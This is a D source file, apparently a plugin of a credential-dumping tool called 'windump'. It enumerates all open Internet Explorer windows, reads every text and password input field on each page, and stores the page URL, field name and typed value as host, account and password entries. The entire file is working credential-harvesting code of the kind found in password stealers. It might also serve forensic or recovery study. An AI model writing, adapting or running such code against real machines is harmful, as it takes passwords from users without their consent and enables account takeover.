module windump.plugins.htmlinput.htmlinput;

import windump.scanning.detector;
import windump.plugins.htmlinput.ie.html;
import windump.plugins.htmlinput.ie.shell;

debug {
	import std.stdio;
}


class HtmlInputDetector : Detector!(HtmlInputDetector, "browser/ie_html_input", "table")
{
	this()
	{
	}

	public override ResultItem[] update()
	{
		ShellWindows sw = new ShellWindows;
        ResultItem[] ret;
		
		for(int i = 0; i < sw.count; i++)
		{
			try
			{
				scope WebBrowser wb = sw.getItem(i);
				scope HtmlDocument doc = wb.document;
				scope HtmlElementCollection ec = doc.all;

				bool found = false;
				for(int j = 0; j < ec.length; j++)
				{
					try
					{
						auto ite = new HtmlInputTextElement(ec.getItem(j));
						if(ite.type == "text" || ite.type == "password")
						{
							found = true;
                            ResultItem item;
                            item.provider = name();
                            item.host = wb.url;
							item.account = ite.name;
							item.password = ite.value;
                            ret ~= item;
						}
					}
					catch
					{
						continue;
					}
				}				

			}
			catch
			{
				continue;
			}
		}

		return ret;
	}

}
